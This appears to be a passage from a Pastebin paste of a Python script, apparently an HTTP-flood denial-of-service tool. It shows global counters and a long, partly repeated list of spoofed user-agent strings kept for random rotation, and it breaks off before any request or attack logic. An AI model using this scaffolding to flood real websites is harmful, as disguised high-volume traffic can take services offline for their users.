API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Apr 9th, 2017
1,172
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 60.90 KB | None | 0 0
raw download clone embed print report
  1.  
  2. #!/usr/bin/python
  3. import os
  4. import datetime
  5. import urllib2
  6. import sys
  7. import threading
  8. import random
  9. import re
  10.  
  11. #global params
  12. url=''
  13. host=''
  14. headers_useragents=[]
  15. headers_referers=[]
  16. request_counter=0
  17. flag=0
  18. safe=0
  19.  
  20. def inc_counter():
  21.     global request_counter
  22.     request_counter+=1
  23.  
  24. def set_flag(val):
  25.     global flag
  26.     flag=val
  27.  
  28. def set_safe():
  29.     global safe
  30.     safe=1
  31.    
  32. # generates a user agent array
  33. def useragent_list():
  34.     global headers_useragents
  35.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) BlackHawk/1.0.195.0 Chrome/127.0.0.1 Safari/62439616.534')
  36.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  37.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  38.     headers_useragents.append('Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)')
  39.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0 IceDragon/26.0.0.2')
  40.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  41.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  42.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  43.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  44.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  45.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  46.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  47.     headers_useragents.append('agadine/1.x.x (+http://www.agada.de)')
  48.     headers_useragents.append('Agent-SharewarePlazaFileCheckBot/2.0+(+http://www.SharewarePlaza.com)')
  49.     headers_useragents.append('AgentName/0.1 libwww-perl/5.48')
  50.     headers_useragents.append('AIBOT/2.1 By +(www.21seek.com A Real artificial intelligence search engine China)')
  51.     headers_useragents.append('AideRSS/1.0 (aiderss.com)')
  52.     headers_useragents.append('aipbot/1.0 (aipbot; http://www.aipbot.com; aipbot@aipbot.com)')
  53.     headers_useragents.append('aipbot/2-beta (aipbot dev; http://aipbot.com; aipbot@aipbot.com)')
  54.     headers_useragents.append('Akregator/1.2.9; librss/remnants')
  55.     headers_useragents.append('Aladin/3.324')
  56.     headers_useragents.append('Alcatel-BG3/1.0 UP.Browser/5.0.3.1.2')
  57.     headers_useragents.append('Aleksika Spider/1.0 (+http://www.aleksika.com/)')
  58.     headers_useragents.append('AlertInfo 2.0 (Powered by Newsbrain)')
  59.     headers_useragents.append('AlkalineBOT/1.3')
  60.     headers_useragents.append('AlkalineBOT/1.4 (1.4.0326.0 RTM)')
  61.     headers_useragents.append('Allesklar/0.1 libwww-perl/5.46')
  62.     headers_useragents.append('Alligator 1.31 (www.nearsoftware.com)')
  63.     headers_useragents.append('Allrati/1.1 (+)')
  64.     headers_useragents.append('AltaVista Intranet V2.0 AVS EVAL search@freeit.com')
  65.     headers_useragents.append('AltaVista Intranet V2.0 Compaq Altavista Eval sveand@altavista.net')
  66.     headers_useragents.append('AltaVista Intranet V2.0 evreka.com crawler@evreka.com')
  67.     headers_useragents.append('AltaVista V2.0B crawler@evreka.com')
  68.     headers_useragents.append('amaya/x.xx libwww/x.x.x')
  69.     headers_useragents.append('AmfibiBOT')
  70.     headers_useragents.append('Amfibibot/0.06 (Amfibi Web Search; http://www.amfibi.com; agent@amfibi.com)')
  71.     headers_useragents.append('Amfibibot/0.07 (Amfibi Robot; http://www.amfibi.com; agent@amfibi.com)')
  72.     headers_useragents.append('amibot')
  73.     headers_useragents.append('Amiga-AWeb/3.4.167SE')
  74.     headers_useragents.append('AmigaVoyager/3.4.4 (MorphOS/PPC native)')
  75.     headers_useragents.append('AmiTCP Miami (AmigaOS 2.04)')
  76.     headers_useragents.append('Amoi 8512/R21.0 NF-Browser/3.3')
  77.     headers_useragents.append('amzn_assoc')
  78.     headers_useragents.append('AnnoMille spider 0.1 alpha - http://www.annomille.it')
  79.     headers_useragents.append('annotate_google; http://ponderer.org/download/annotate_google.user.js')
  80.     headers_useragents.append('Anonymized by ProxyOS: http://www.megaproxy.com')
  81.     headers_useragents.append('Anonymizer/1.1')
  82.     headers_useragents.append('AnswerBus (http://www.answerbus.com/)')
  83.     headers_useragents.append('AnswerChase PROve x.0')
  84.     headers_useragents.append('AnswerChase x.0')
  85.     headers_useragents.append('ANTFresco/x.xx')
  86.     headers_useragents.append('antibot-V1.1.5/i586-linux-2.2')
  87.     headers_useragents.append('AnzwersCrawl/2.0 (anzwerscrawl@anzwers.com.au;Engine)')
  88.     headers_useragents.append('Apexoo Spider 1.x')
  89.     headers_useragents.append('Aplix HTTP/1.0.1')
  90.     headers_useragents.append('Aplix_SANYO_browser/1.x (Japanese)')
  91.     headers_useragents.append('Aplix_SEGASATURN_browser/1.x (Japanese)')
  92.     headers_useragents.append('Aport')
  93.     headers_useragents.append('appie 1.1 (www.walhello.com)')
  94.     headers_useragents.append('Apple iPhone v1.1.4 CoreMedia v1.0.0.4A102')
  95.     headers_useragents.append('Apple-PubSub/65.1.1')
  96.     headers_useragents.append('ArabyBot (compatible; Mozilla/5.0; GoogleBot; FAST Crawler 6.4; http://www.araby.com;)')
  97.     headers_useragents.append('ArachBot')
  98.     headers_useragents.append('Arachnoidea (arachnoidea@euroseek.com)')
  99.     headers_useragents.append('aranhabot')
  100.     headers_useragents.append('ArchitextSpider')
  101.     headers_useragents.append('archive.org_bot')
  102.     headers_useragents.append('Argus/1.1 (Nutch; http://www.simpy.com/bot.html; feedback at simpy dot com)')
  103.     headers_useragents.append('Arikus_Spider')
  104.     headers_useragents.append('Arquivo-web-crawler (compatible; heritrix/1.12.1 +http://arquivo-web.fccn.pt)')
  105.     headers_useragents.append('ASAHA Search Engine Turkey V.001 (http://www.asaha.com/)')
  106.     headers_useragents.append('Asahina-Antenna/1.x')
  107.     headers_useragents.append('Asahina-Antenna/1.x (libhina.pl/x.x ; libtime.pl/x.x)')
  108.     headers_useragents.append('ask.24x.info')
  109.     headers_useragents.append('AskAboutOil/0.06-rcp (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@askaboutoil.com)')
  110.     headers_useragents.append('asked/Nutch-0.8 (web crawler; http://asked.jp; epicurus at gmail dot com)')
  111.     headers_useragents.append('ASPSeek/1.2.5')
  112.     headers_useragents.append('ASPseek/1.2.9d')
  113.     headers_useragents.append('ASPSeek/1.2.x')
  114.     headers_useragents.append('ASPSeek/1.2.xa')
  115.     headers_useragents.append('ASPseek/1.2.xx')
  116.     headers_useragents.append('ASPSeek/1.2.xxpre')
  117.     headers_useragents.append('ASSORT/0.10')
  118.     headers_useragents.append('asterias/2.0')
  119.     headers_useragents.append('AtlocalBot/1.1 +(http://www.atlocal.com/local-web-site-owner.html)')
  120.     headers_useragents.append('Atomic_Email_Hunter/4.0')
  121.     headers_useragents.append('Atomz/1.0')
  122.     headers_useragents.append('atSpider/1.0')
  123.     headers_useragents.append('Attentio/Nutch-0.9-dev (Attentios beta blog crawler; www.attentio.com; info@attentio.com)')
  124.     headers_useragents.append('AU-MIC/2.0 MMP/2.0')
  125.     headers_useragents.append('AUDIOVOX-SMT5600')
  126.     headers_useragents.append('augurfind')
  127.     headers_useragents.append('augurnfind V-1.x')
  128.     headers_useragents.append('autoemailspider')
  129.     headers_useragents.append('autohttp')
  130.     headers_useragents.append('autowebdir 1.1 (www.autowebdir.com)')
  131.     headers_useragents.append('AV Fetch 1.0')
  132.     headers_useragents.append('Avant Browser (http://www.avantbrowser.com)')
  133.     headers_useragents.append('AVSearch-1.0(peter.turney@nrc.ca)')
  134.     headers_useragents.append('AVSearch-2.0-fusionIdx-14-CompetitorWebSites')
  135.     headers_useragents.append('AVSearch-3.0(AltaVista/AVC)')
  136.     headers_useragents.append('AWeb')
  137.     headers_useragents.append('axadine/ (Axadine Crawler; http://www.axada.de/; )')
  138.     headers_useragents.append('AxmoRobot - Crawling your site for better indexing on www.axmo.com search engine.')
  139.     headers_useragents.append('Azureus 2.x.x.x')
  140.     headers_useragents.append('BabalooSpider/1.3 (BabalooSpider; http://www.babaloo.si; spider@babaloo.si)')
  141.     headers_useragents.append('BaboomBot/1.x.x (+http://www.baboom.us)')
  142.     headers_useragents.append('BackStreet Browser 3.x')
  143.     headers_useragents.append('BaiduImagespider+(+http://www.baidu.jp/search/s308.html)')
  144.     headers_useragents.append('BaiDuSpider')
  145.     headers_useragents.append('Baiduspider+(+http://help.baidu.jp/system/05.html)')
  146.     headers_useragents.append('Baiduspider+(+http://www.baidu.com/search/spider.htm)')
  147.     headers_useragents.append('Baiduspider+(+http://www.baidu.com/search/spider_jp.html)')
  148.     headers_useragents.append('Balihoo/Nutch-1.0-dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com)')
  149.     headers_useragents.append('BanBots/1.2 (spider@banbots.com)')
  150.     headers_useragents.append('Barca/2.0.xxxx')
  151.     headers_useragents.append('(DreamPassport/3.0; isao/MyDiGiRabi)')
  152.     headers_useragents.append('(Privoxy/1.0)')
  153.     headers_useragents.append('*/Nutch-0.9-dev')
  154.     headers_useragents.append('+SitiDi.net/SitiDiBot/1.0 (+Have Good Day)')
  155.     headers_useragents.append('-DIE-KRAEHE- META-SEARCH-ENGINE/1.1 http://www.die-kraehe.de')
  156.     headers_useragents.append('123spider-Bot (Version: 1.02) powered by www.123spider.de')
  157.     headers_useragents.append('192.comAgent')
  158.     headers_useragents.append('1st ZipCommander (Net) - http://www.zipcommander.com/')
  159.     headers_useragents.append('2Bone_LinkChecker/1.0 libwww-perl/5.64')
  160.     headers_useragents.append('4anything.com LinkChecker v2.0')
  161.     headers_useragents.append('8484 Boston Project v 1.0')
  162.     headers_useragents.append(':robot/1.0 (linux) ( admin e-mail: undefined http://www.neofonie.de/loesungen/search/robot.html )')
  163.     headers_useragents.append('A-Online Search')
  164.     headers_useragents.append('A1 Keyword Research/1.0.2 (+http://www.micro-sys.dk/products/keyword-research/) miggibot/2007.03.27')
  165.     headers_useragents.append('A1 Sitemap Generator/1.0 (+http://www.micro-sys.dk/products/sitemap-generator/) miggibot/2006.01.24')
  166.     headers_useragents.append('AbachoBOT')
  167.     headers_useragents.append('AbachoBOT (Mozilla compatible)')
  168.     headers_useragents.append('ABCdatos BotLink/5.xx.xxx#BBL')
  169.     headers_useragents.append('Aberja Checkomat     Aberja Hybridsuchmaschine (Germany)')
  170.     headers_useragents.append('abot/0.1 (abot; http://www.abot.com; abot@abot.com)')
  171.     headers_useragents.append('About/0.1libwww-perl/5.47')
  172.     headers_useragents.append('Accelatech RSSCrawler/0.4')
  173.     headers_useragents.append('accoona  Accoona Search robot')
  174.     headers_useragents.append('Accoona-AI-Agent/1.1.1 (crawler at accoona dot com)')
  175.     headers_useragents.append('Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)')
  176.     headers_useragents.append('Ace Explorer')
  177.     headers_useragents.append('Ack (http://www.ackerm.com/)')
  178.     headers_useragents.append('AcoiRobot')
  179.     headers_useragents.append('Acoon Robot v1.50.001')
  180.     headers_useragents.append('Acoon Robot v1.52 (http://www.acoon.de)')
  181.     headers_useragents.append('Acoon-Robot 4.0.x.[xx] (http://www.acoon.de)')
  182.     headers_useragents.append('Acoon-Robot v3.xx (http://www.acoon.de and http://www.acoon.com)')
  183.     headers_useragents.append('Acorn/Nutch-0.9 (Non-Profit Search Engine; acorn.isara.org; acorn at isara dot org)')
  184.     headers_useragents.append('ActiveBookmark 1.x')
  185.     headers_useragents.append('Activeworlds')
  186.     headers_useragents.append('ActiveWorlds/3.xx (xxx)')
  187.     headers_useragents.append('Ad Muncher v4.xx.x')
  188.     headers_useragents.append('Ad Muncher v4x Build xxxxx')
  189.     headers_useragents.append('Adaxas Spider (http://www.adaxas.net/)')
  190.     headers_useragents.append('Advanced Browser (http://www.avantbrowser.com)')
  191.     headers_useragents.append('AESOP_com_SpiderMan')
  192.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) BlackHawk/1.0.195.0 Chrome/127.0.0.1 Safari/62439616.534')
  193.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  194.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  195.     headers_useragents.append('Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)')
  196.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0 IceDragon/26.0.0.2')
  197.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  198.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  199.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  200.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  201.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  202.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  203.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  204.     headers_useragents.append('(DreamPassport/3.0; isao/MyDiGiRabi)')
  205.     headers_useragents.append('(Privoxy/1.0)')
  206.     headers_useragents.append('*/Nutch-0.9-dev')
  207.     headers_useragents.append('+SitiDi.net/SitiDiBot/1.0 (+Have Good Day)')
  208.     headers_useragents.append('-DIE-KRAEHE- META-SEARCH-ENGINE/1.1 http://www.die-kraehe.de')
  209.     headers_useragents.append('123spider-Bot (Version: 1.02) powered by www.123spider.de')
  210.     headers_useragents.append('192.comAgent')
  211.     headers_useragents.append('1st ZipCommander (Net) - http://www.zipcommander.com/')
  212.     headers_useragents.append('2Bone_LinkChecker/1.0 libwww-perl/5.64')
  213.     headers_useragents.append('4anything.com LinkChecker v2.0')
  214.     headers_useragents.append('8484 Boston Project v 1.0')
  215.     headers_useragents.append(':robot/1.0 (linux) ( admin e-mail: undefined http://www.neofonie.de/loesungen/search/robot.html )')
  216.     headers_useragents.append('A-Online Search')
  217.     headers_useragents.append('A1 Keyword Research/1.0.2 (+http://www.micro-sys.dk/products/keyword-research/) miggibot/2007.03.27')
  218.     headers_useragents.append('A1 Sitemap Generator/1.0 (+http://www.micro-sys.dk/products/sitemap-generator/) miggibot/2006.01.24')
  219.     headers_useragents.append('AbachoBOT')
  220.     headers_useragents.append('AbachoBOT (Mozilla compatible)')
  221.     headers_useragents.append('ABCdatos BotLink/5.xx.xxx#BBL')
  222.     headers_useragents.append('Aberja Checkomat     Aberja Hybridsuchmaschine (Germany)')
  223.     headers_useragents.append('abot/0.1 (abot; http://www.abot.com; abot@abot.com)')
  224.     headers_useragents.append('About/0.1libwww-perl/5.47')
  225.     headers_useragents.append('Accelatech RSSCrawler/0.4')
  226.     headers_useragents.append('accoona  Accoona Search robot')
  227.     headers_useragents.append('Accoona-AI-Agent/1.1.1 (crawler at accoona dot com)')
  228.     headers_useragents.append('Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)')
  229.     headers_useragents.append('Ace Explorer')
  230.     headers_useragents.append('Ack (http://www.ackerm.com/)')
  231.     headers_useragents.append('AcoiRobot')
  232.     headers_useragents.append('Acoon Robot v1.50.001')
  233.     headers_useragents.append('Acoon Robot v1.52 (http://www.acoon.de)')
  234.     headers_useragents.append('Acoon-Robot 4.0.x.[xx] (http://www.acoon.de)')
  235.     headers_useragents.append('Acoon-Robot v3.xx (http://www.acoon.de and http://www.acoon.com)')
  236.     headers_useragents.append('Acorn/Nutch-0.9 (Non-Profit Search Engine; acorn.isara.org; acorn at isara dot org)')
  237.     headers_useragents.append('ActiveBookmark 1.x')
  238.     headers_useragents.append('Activeworlds')
  239.     headers_useragents.append('ActiveWorlds/3.xx (xxx)')
  240.     headers_useragents.append('Ad Muncher v4.xx.x')
  241.     headers_useragents.append('Ad Muncher v4x Build xxxxx')
  242.     headers_useragents.append('Adaxas Spider (http://www.adaxas.net/)')
  243.     headers_useragents.append('Advanced Browser (http://www.avantbrowser.com)')
  244.     headers_useragents.append('AESOP_com_SpiderMan')
  245.     headers_useragents.append('agadine/1.x.x (+http://www.agada.de)')
  246.     headers_useragents.append('Agent-SharewarePlazaFileCheckBot/2.0+(+http://www.SharewarePlaza.com)')
  247.     headers_useragents.append('AgentName/0.1 libwww-perl/5.48')
  248.     headers_useragents.append('AIBOT/2.1 By +(www.21seek.com A Real artificial intelligence search engine China)')
  249.     headers_useragents.append('AideRSS/1.0 (aiderss.com)')
  250.     headers_useragents.append('aipbot/1.0 (aipbot; http://www.aipbot.com; aipbot@aipbot.com)')
  251.     headers_useragents.append('aipbot/2-beta (aipbot dev; http://aipbot.com; aipbot@aipbot.com)')
  252.     headers_useragents.append('Akregator/1.2.9; librss/remnants')
  253.     headers_useragents.append('Aladin/3.324')
  254.     headers_useragents.append('Alcatel-BG3/1.0 UP.Browser/5.0.3.1.2')
  255.     headers_useragents.append('Aleksika Spider/1.0 (+http://www.aleksika.com/)')
  256.     headers_useragents.append('AlertInfo 2.0 (Powered by Newsbrain)')
  257.     headers_useragents.append('AlkalineBOT/1.3')
  258.     headers_useragents.append('AlkalineBOT/1.4 (1.4.0326.0 RTM)')
  259.     headers_useragents.append('Allesklar/0.1 libwww-perl/5.46')
  260.     headers_useragents.append('Alligator 1.31 (www.nearsoftware.com)')
  261.     headers_useragents.append('Allrati/1.1 (+)')
  262.     headers_useragents.append('AltaVista Intranet V2.0 AVS EVAL search@freeit.com')
  263.     headers_useragents.append('AltaVista Intranet V2.0 Compaq Altavista Eval sveand@altavista.net')
  264.     headers_useragents.append('AltaVista Intranet V2.0 evreka.com crawler@evreka.com')
  265.     headers_useragents.append('AltaVista V2.0B crawler@evreka.com')
  266.     headers_useragents.append('amaya/x.xx libwww/x.x.x')
  267.     headers_useragents.append('AmfibiBOT')
  268.     headers_useragents.append('Amfibibot/0.06 (Amfibi Web Search; http://www.amfibi.com; agent@amfibi.com)')
  269.     headers_useragents.append('Amfibibot/0.07 (Amfibi Robot; http://www.amfibi.com; agent@amfibi.com)')
  270.     headers_useragents.append('amibot')
  271.     headers_useragents.append('Amiga-AWeb/3.4.167SE')
  272.     headers_useragents.append('AmigaVoyager/3.4.4 (MorphOS/PPC native)')
  273.     headers_useragents.append('AmiTCP Miami (AmigaOS 2.04)')
  274.     headers_useragents.append('Amoi 8512/R21.0 NF-Browser/3.3')
  275.     headers_useragents.append('amzn_assoc')
  276.     headers_useragents.append('AnnoMille spider 0.1 alpha - http://www.annomille.it')
  277.     headers_useragents.append('annotate_google; http://ponderer.org/download/annotate_google.user.js')
  278.     headers_useragents.append('Anonymized by ProxyOS: http://www.megaproxy.com')
  279.     headers_useragents.append('Anonymizer/1.1')
  280.     headers_useragents.append('AnswerBus (http://www.answerbus.com/)')
  281.     headers_useragents.append('AnswerChase PROve x.0')
  282.     headers_useragents.append('AnswerChase x.0')
  283.     headers_useragents.append('ANTFresco/x.xx')
  284.     headers_useragents.append('antibot-V1.1.5/i586-linux-2.2')
  285.     headers_useragents.append('AnzwersCrawl/2.0 (anzwerscrawl@anzwers.com.au;Engine)')
  286.     headers_useragents.append('Apexoo Spider 1.x')
  287.     headers_useragents.append('Aplix HTTP/1.0.1')
  288.     headers_useragents.append('Aplix_SANYO_browser/1.x (Japanese)')
  289.     headers_useragents.append('Aplix_SEGASATURN_browser/1.x (Japanese)')
  290.     headers_useragents.append('Aport')
  291.     headers_useragents.append('appie 1.1 (www.walhello.com)')
  292.     headers_useragents.append('Apple iPhone v1.1.4 CoreMedia v1.0.0.4A102')
  293.     headers_useragents.append('Apple-PubSub/65.1.1')
  294.     headers_useragents.append('ArabyBot (compatible; Mozilla/5.0; GoogleBot; FAST Crawler 6.4; http://www.araby.com;)')
  295.     headers_useragents.append('ArachBot')
  296.     headers_useragents.append('Arachnoidea (arachnoidea@euroseek.com)')
  297.     headers_useragents.append('aranhabot')
  298.     headers_useragents.append('ArchitextSpider')
  299.     headers_useragents.append('archive.org_bot')
  300.     headers_useragents.append('Argus/1.1 (Nutch; http://www.simpy.com/bot.html; feedback at simpy dot com)')
  301.     headers_useragents.append('Arikus_Spider')
  302.     headers_useragents.append('Arquivo-web-crawler (compatible; heritrix/1.12.1 +http://arquivo-web.fccn.pt)')
  303.     headers_useragents.append('ASAHA Search Engine Turkey V.001 (http://www.asaha.com/)')
  304.     headers_useragents.append('Asahina-Antenna/1.x')
  305.     headers_useragents.append('Asahina-Antenna/1.x (libhina.pl/x.x ; libtime.pl/x.x)')
  306.     headers_useragents.append('ask.24x.info')
  307.     headers_useragents.append('AskAboutOil/0.06-rcp (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@askaboutoil.com)')
  308.     headers_useragents.append('asked/Nutch-0.8 (web crawler; http://asked.jp; epicurus at gmail dot com)')
  309.     headers_useragents.append('ASPSeek/1.2.5')
  310.     headers_useragents.append('ASPseek/1.2.9d')
  311.     headers_useragents.append('ASPSeek/1.2.x')
  312.     headers_useragents.append('ASPSeek/1.2.xa')
  313.     headers_useragents.append('ASPseek/1.2.xx')
  314.     headers_useragents.append('ASPSeek/1.2.xxpre')
  315.     headers_useragents.append('ASSORT/0.10')
  316.     headers_useragents.append('asterias/2.0')
  317.     headers_useragents.append('AtlocalBot/1.1 +(http://www.atlocal.com/local-web-site-owner.html)')
  318.     headers_useragents.append('Atomic_Email_Hunter/4.0')
  319.     headers_useragents.append('Atomz/1.0')
  320.     headers_useragents.append('atSpider/1.0')
  321.     headers_useragents.append('Attentio/Nutch-0.9-dev (Attentios beta blog crawler; www.attentio.com; info@attentio.com)')
  322.     headers_useragents.append('AU-MIC/2.0 MMP/2.0')
  323.     headers_useragents.append('AUDIOVOX-SMT5600')
  324.     headers_useragents.append('augurfind')
  325.     headers_useragents.append('augurnfind V-1.x')
  326.     headers_useragents.append('autoemailspider')
  327.     headers_useragents.append('autohttp')
  328.     headers_useragents.append('autowebdir 1.1 (www.autowebdir.com)')
  329.     headers_useragents.append('AV Fetch 1.0')
  330.     headers_useragents.append('Avant Browser (http://www.avantbrowser.com)')
  331.     headers_useragents.append('AVSearch-1.0(peter.turney@nrc.ca)')
  332.     headers_useragents.append('AVSearch-2.0-fusionIdx-14-CompetitorWebSites')
  333.     headers_useragents.append('AVSearch-3.0(AltaVista/AVC)')
  334.     headers_useragents.append('AWeb')
  335.     headers_useragents.append('axadine/ (Axadine Crawler; http://www.axada.de/; )')
  336.     headers_useragents.append('AxmoRobot - Crawling your site for better indexing on www.axmo.com search engine.')
  337.     headers_useragents.append('Azureus 2.x.x.x')
  338.     headers_useragents.append('BabalooSpider/1.3 (BabalooSpider; http://www.babaloo.si; spider@babaloo.si)')
  339.     headers_useragents.append('BaboomBot/1.x.x (+http://www.baboom.us)')
  340.     headers_useragents.append('BackStreet Browser 3.x')
  341.     headers_useragents.append('BaiduImagespider+(+http://www.baidu.jp/search/s308.html)')
  342.     headers_useragents.append('BaiDuSpider')
  343.     headers_useragents.append('Baiduspider+(+http://help.baidu.jp/system/05.html)')
  344.     headers_useragents.append('Baiduspider+(+http://www.baidu.com/search/spider.htm)')
  345.     headers_useragents.append('Baiduspider+(+http://www.baidu.com/search/spider_jp.html)')
  346.     headers_useragents.append('Balihoo/Nutch-1.0-dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com)')
  347.     headers_useragents.append('BanBots/1.2 (spider@banbots.com)')
  348.     headers_useragents.append('Barca/2.0.xxxx')
  349.     headers_useragents.append('BarcaPro/1.4.xxxx')
  350.     headers_useragents.append('BarraHomeCrawler (albertof@barrahome.org)')
  351.     headers_useragents.append('bCentral Billing Post-Process')
  352.     headers_useragents.append('bdcindexer_2.6.2 (research@bdc)')
  353.     headers_useragents.append('BDFetch')
  354.     headers_useragents.append('BDNcentral Crawler v2.3 [en] (http://www.bdncentral.com/robot.html) (X11; I; Linux 2.0.44 i686)')
  355.     headers_useragents.append('BeamMachine/0.5 (dead link remover of www.beammachine.net)')
  356.     headers_useragents.append('beautybot/1.0 (+http://www.uchoose.de/crawler/beautybot/)')
  357.     headers_useragents.append('BebopBot/2.5.1 ( crawler http://www.apassion4jazz.net/bebopbot.html )')
  358.     headers_useragents.append('BeebwareDirectory/v0.01')
  359.     headers_useragents.append('Big Brother (http://pauillac.inria.fr/~fpottier/)')
  360.     headers_useragents.append('Big Fish v1.0')
  361.     headers_useragents.append('BigBrother/1.6e')
  362.     headers_useragents.append('BigCliqueBOT/1.03-dev (bigclicbot; http://www.bigclique.com; bot@bigclique.com)')
  363.     headers_useragents.append('BIGLOTRON (Beta 2;GNU/Linux)')
  364.     headers_useragents.append('Bigsearch.ca/Nutch-x.x-dev (Bigsearch.ca Internet Spider; http://www.bigsearch.ca/; info@enhancededge.com)')
  365.     headers_useragents.append('Bilbo/2.3b-UNIX')
  366.     headers_useragents.append('BilgiBetaBot/0.8-dev (bilgi.com (Beta) ; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)')
  367.     headers_useragents.append('BilgiBot/1.0(beta) (http://www.bilgi.com/; bilgi at bilgi dot com)')
  368.     headers_useragents.append('billbot wjj@cs.cmu.edu')
  369.     headers_useragents.append('Bitacle bot/1.1')
  370.     headers_useragents.append('Bitacle Robot (V:1.0;) (http://www.bitacle.com)')
  371.     headers_useragents.append('Biyubi/x.x (Sistema Fenix; G11; Familia Toledo; es-mx)')
  372.     headers_useragents.append('BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/5.0.3.3 UP.Link/5.1.2.12 (Google WAP Proxy/1.0)')
  373.     headers_useragents.append('BlackWidow')
  374.     headers_useragents.append('BlackWidow')
  375.     headers_useragents.append('Blaiz-Bee/1.0 (+http://www.blaiz.net)')
  376.     headers_useragents.append('Blaiz-Bee/2.00.8222 (BE Internet Search Engine http://www.rawgrunt.com)')
  377.     headers_useragents.append('Blaiz-Bee/2.00.xxxx (+http://www.blaiz.net)')
  378.     headers_useragents.append('BlitzBOT@tricus.net')
  379.     headers_useragents.append('BlitzBOT@tricus.net (Mozilla compatible)')
  380.     headers_useragents.append('BlockNote.Net')
  381.     headers_useragents.append('BlogBot/1.x')
  382.     headers_useragents.append('BlogBridge 2.13 (http://www.blogbridge.com/)')
  383.     headers_useragents.append('Bloglines Title Fetch/1.0 (http://www.bloglines.com)')
  384.     headers_useragents.append('Bloglines-Images/0.1 (http://www.bloglines.com)')
  385.     headers_useragents.append('Bloglines/3.1 (http://www.bloglines.com)')
  386.     headers_useragents.append('BlogMap (http://www.feedmap.net)')
  387.     headers_useragents.append('Blogpulse (info@blogpulse.com)')
  388.     headers_useragents.append('BlogPulseLive (support@blogpulse.com)')
  389.     headers_useragents.append('BlogSearch/1.x +http://www.icerocket.com/')
  390.     headers_useragents.append('blogsearchbot-pumpkin-3')
  391.     headers_useragents.append('BlogsNowBot) V 2.01 (+http://www.blogsnow.com/)')
  392.     headers_useragents.append('BlogVibeBot-v1.1 (spider@blogvibe.nl)')
  393.     headers_useragents.append('blogWatcher_Spider/0.1 (http://www.lr.pi.titech.ac.jp/blogWatcher/)')
  394.     headers_useragents.append('BlogzIce/1.0 (+http://icerocket.com; rhodes@icerocket.com)')
  395.     headers_useragents.append('BlogzIce/1.0 +http://www.icerocket.com/')
  396.     headers_useragents.append('BloobyBot')
  397.     headers_useragents.append('Bloodhound/Nutch-0.9 (Testing Crawler for Research - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com)')
  398.     headers_useragents.append('bluefish 0.6 HTML editor')
  399.     headers_useragents.append('BMCLIENT')
  400.     headers_useragents.append('BMLAUNCHER')
  401.     headers_useragents.append('Bobby/4.0.x RPT-HTTPClient/0.3-3E')
  402.     headers_useragents.append('boitho.com-dc/0.xx (http://www.boitho.com/dcbot.html)')
